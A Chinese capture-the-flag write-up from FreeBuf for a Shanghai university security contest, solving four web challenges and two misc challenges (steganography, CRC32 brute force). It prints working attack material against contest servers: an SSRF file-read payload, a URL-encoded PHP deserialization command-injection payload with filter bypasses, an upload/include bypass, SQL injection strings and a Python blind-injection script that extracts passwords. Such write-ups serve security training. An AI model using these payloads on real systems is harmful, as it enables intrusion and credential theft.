第四届上海市大学生网络安全大赛web+misc题解 – 作者:altm4n

WEB

web1

查看robots.txt得知flag.php和source.php访问source.php需要以管理员登录

POST数据admin=11.png需要伪造IP为127.0.0.1

多番尝试后发现可以用x-client-ip绕过

添加http头x-client-ip:127.0.0.1

2.pngPOST数据url=http://www.ichunqiu.com

3.png

得到一个图片地址将图片数据下载下来后发现是www.ichunqiu.com网站首页源码。

显然是ssrf。

那么接下来就要构造url读取其他文件。

利用file://协议读取本地文件绕过检测最终得到payload

url=file://www.ichunqiu.com//var/www/html/flag.php

image.png

将JPG文件下载然后查看内容

image.png

web2

一道反序列化题目.index.php.swp发现源码

vim -r index.php

恢复源码

<?php
error_reporting(0);
class come{    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }           
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
    {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come); 
            }
        }
        else
        {echo "<br>think about it<br>";}
    }
    else
    {
        echo "NO";
    }

}
else
{
    echo "Can you hack me?<br>";
}

?>

很明显的反序列化首先简单的构造打出welcome回显进入POST语句

image.png然后构造反序列化

image.png然后上传

image.png成功执行命令。获取flag的过程中发现空格被bypass了这里用$IFS绕过双写flag绕过过滤最终payload

image.png

O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A18%3A%22%60cat%24IFS%2Fflaflagg%60%22%3B%7D%7D

web3

直接给了源码
<?php
    //error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    $dir=md5("icq");
    $sandbox = '/var/sandbox/' . $dir;
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);
    }

首先要绕过

end($filename)==$filename[count($filename) - 1]

前者是数组里最后一个元素后者取根据数组下标来取的值。所以我们只需要让下标等于count($filename) – 1的元素不是数组最后一个元素即可。例如

[1=>'123', 5=>'php']

此时

end($filename)='php'
count($filename)-1=1  ,$filename[1]=NULL

即可绕过检测构造表单上传

image.png没有打印 ‘emmmm’

成功绕过然后是要将上传的文件重新命名

$new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);

$ext即为上传的file[2]内容接下来他会进行判断然后进行包含。

if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
        }

这里都很好处理最后有个unlink函数会删除上传的文件我们用 123.php/.进行绕过。最终上传文件

image.png此时已经在沙盒内生成一个XXX.123的文件。接下来爆破文件

image.png对XXX进行爆破爆破到文件名为100.123执行命令拿flag

image.png

web4

注入得到密码

在id先进行注入

1' and 1=1%23

成功闭合发现过滤了 information_schema.卡在这里很久最后才找到方法绕过

information_schema . tables

本地测试发现空格可以绕过这样的检测

image.png其中还过滤了fromlimit等关键词最终构造语句

1' and (ascii(substr((SELECT GROUP_CONCAT(table_name) FROM information_schema . tables WHERE table_schema=database()),1,1))=1)%23

盲注脚本

# encoding=utf-8
import requests
import string
url='http://495461f9167c4156a993dfa226d99f944a9e804913c04884.game.ichunqiu.com/select_guest.php?id='
flag=''
for i in range(1,100):
    for j in range(33,127):
        #payload="1' and (ascii(substr((SELECT GROUP_CONCAT(table_name) FROM information_schema . tables WHERE table_schema=database()),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
        #payload="1' and (ascii(substr((SELECT GROUP_CONCAT(column_name) FROM information_schema . columns WHERE table_schema=database() and table_name='user'),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
        payload="1' and (ascii(substr((SELECT GROUP_CONCAT(password) FROM user),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
        url1=url+payload
        r=requests.get(url=url1)
        if '10.10.1.1' in r.content:
            flag=flag+chr(j)
            print flag
            break

得到管理员密码的MD5值然后去网站解密得到管理员密码adminpassword

上传截断

登陆进去后发现一个上传页面随手尝试一下。

image.png尝试大写小bypass得到提示please upload to ./flag.php

那么就要构造路径为./flag.php

发现下面有个hidden的参数uploaddir

我们可以通过拼接uploaddir和filename的方式构造php

image.png成功构造flag.php但是自动加上的后缀txt有点无解

这时候就想到00截断

image.png失败了。。这时候就卡了很久最后发现02可以截断

image.png拿到flag

misc

92

拿到一个txt文件观察发现文件第一行末是一个倒置PNG头文件最后一行是一个word文件头。

image.png

image.png

随即经过两种方式的倒序得到一个加密的word文件和一个PNG图片

image.png扫描二维码得到>:2?kEaX

根据题目名字92尝试base92解密得到 Passwd

作为密码打开word文档移开二维码发现了隐藏信息

image.png

通过扫描二维码得到一部分flag又在”文档隐藏”上方发现一部分flag。

最后通过提示imag steganography找到steganography工具。

从”YOU ARE ALIVE”图片中找到一段flag。拼接成完整的flag。

nofind

打开流量包一波观察后在tcp流中发现上传了一个压缩包

image.png通过导出http对象拿到文件 example1(1).php

Binwalk -e 分离出一个图片

image.pngimage.png

尝试各种隐写解密都没用。主办方提示openpuff。

找到软件后发现需要三个密码根据图片中的ct??????猜想密码可能为这8位字符串。需要我们找到??????的值。

再回到导出http对象中发现了三个奇怪的crc32值

image.png

利用crc32爆破脚本尝试进行6字节的crc32爆破。

image.png如上分别对三个CRC32值爆破。

又有提示爆破结果包含f。

最终得到3个值 

ct93fjhl

ctmbof3k

ctv4gfx1

作为三个密钥输入openpuff中解得flag。

来源:freebuf.com 2018-11-05 20:40:15 by: altm4n

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论